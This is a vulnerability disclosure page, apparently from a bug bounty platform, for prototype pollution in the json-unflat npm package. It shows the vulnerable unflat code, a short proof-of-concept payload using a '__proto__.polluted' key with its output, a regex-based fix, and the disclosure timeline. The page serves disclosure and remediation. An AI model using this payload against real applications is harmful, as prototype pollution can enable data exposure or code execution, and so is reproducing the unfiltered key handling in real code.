Prototype Pollution in egorovsa/json-unflat

Valid

Reported on

Dec 26th 2021


Description

Versions < 2.0.0 of json-unflat are vulnerable to prototype pollution. The function unflat does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.

JsonUnFlat.unflat = function (json) {
        var unflatten = {};
        var _loop_1 = function (item) {
            var _this;
            var splittedKey = item.split('.');
            splittedKey.map(function (keysPart, i) {
                if (i == 0) {
                    _this = unflatten;
                }
                if (!_this[keysPart]) {
                    if (splittedKey.length === i + 1) {
                        _this[keysPart] = json[item];
                    }
                    else {
                        _this[keysPart] = {};
                        _this = _this[keysPart];
                    }
                }
                else {
                    _this = _this[keysPart];
                }
            });
        };
        for (var item in json) {
            _loop_1(item);
        }
        return unflatten;
};

Proof of Concept

  1. Create the following PoC file:
// poc.js
const JsonUnFlat = require("json-unflat");

const obj = {};

console.log(`[+] Before prototype pollution : ${obj.polluted}`);
JsonUnFlat.unflat ({ '__proto__.polluted': true })
console.log(`[+] After prototype pollution : ${obj.polluted}`);
  1. Execute the following commands in terminal:
npm i json-unflat # Install vulnerable package
node poc.js #  Run the PoC
  1. Check the Output:
[+] Before prototype pollution : undefined
[+] After prototype pollution : true

Impact

This vulnerability would allow an attacker to access sensitive information and could potentially lead to Remote Code Execution.

Proof of Fix (PoF)

  1. add a condition in the map function to escape strings containing proto:
splittedKey.map(function (keysPart, i) {
  if (i == 0) {
    _this = unflatten;
  }
  if (/(__proto__|prototype|constructor)/.test(keysPart) !== true) {
    if (!_this[keysPart]) {
      if (splittedKey.length === i + 1) {
        _this[keysPart] = json[item];
      }
      else {
        _this[keysPart] = {};
        _this = _this[keysPart];
      }
    }
    else {
      _this = _this[keysPart];
    }
  }
});
  1. Execute the following command:
node poc.js #  Run the PoC
  1. Check the Output:
[+] Before prototype pollution : undefined
[+] After prototype pollution : undefined

References

We are processing your report and will contact the egorovsa/json-unflat team within 24 hours. a year ago
Timothee Desurmont modified the report
a year ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md a year ago
Timothee
a year ago

Researcher


Hi Sergey,

Now that your npm package has been patched,

Would it be possible to disclose a report about the finding on hunter.dev (bug bounty programme)?

With best regards,

Timothee

Timothee Desurmont modified the report
a year ago
Timothee Desurmont modified the report
a year ago
Sergey Egorov validated this vulnerability a year ago
Timothee Desurmont has been awarded the disclosure bounty
The fix bounty is now up for grabs
Sergey Egorov marked this as fixed in 2.0.0 with commit b825d3 a year ago
Sergey Egorov has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation